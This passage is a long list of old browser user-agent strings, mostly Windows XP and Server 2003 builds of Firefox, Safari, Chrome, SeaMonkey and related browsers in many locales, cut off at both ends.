NT 5.1; sv) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32) Mozilla/5.0 (Windows; U; Windows NT 5.1; th) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.5 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20051001 Firefox/1.0.7 Madfox/0.3.2u3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/20080722 Firefox/3.0.1 Kapiko/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.7pre) Gecko/2009012106 GranParadiso/3.0.7pre Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.31) Gecko/20120408 Firefox/3.6.31 (Palemoon/3.6.31) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100608 Thunderbird/3.1 ThunderBrowse/3.3.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.7) Gecko/20100713 Lightning/1.0b2 Thunderbird/3.1.1 ThunderBrowse/3.3.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100802 Lightning/1.0b2 Thunderbird/3.1.2 ThunderBrowse/3.3.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9a4pre) Gecko/20070427 Minefield/3.0a4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b2pre) Gecko/2007112619 Minefield/3.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3pre) Gecko/2007121805 Minefield/3.0b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-HK; rv:1.8.1.7) Gecko Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.5) Gecko/20041119 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.9) Gecko/2009040821 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1b4pre) Gecko/20090308 Shiretoko/3.1b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.15pre) Gecko/20110127 Namoroka/3.6.15pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9.0.7) Gecko/2009030713 Minefield/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20061007 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; cs; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-AT; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-AT; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.1.15) Gecko/20101027 SeaMonkey/2.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100605 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100617 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100622 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100623 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100625 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100627 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100629 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100630 SeaMonkey/2.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.9pre) Gecko/20100305 SeaMonkey/2.0.4pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.3a3pre) Gecko/20100312 SeaMonkey/2.1a1pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.2pre) Gecko/20070226 BonEcho/2.0.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.3pre) Gecko/20070302 BonEcho/2.0.0.3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9) Gecko Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 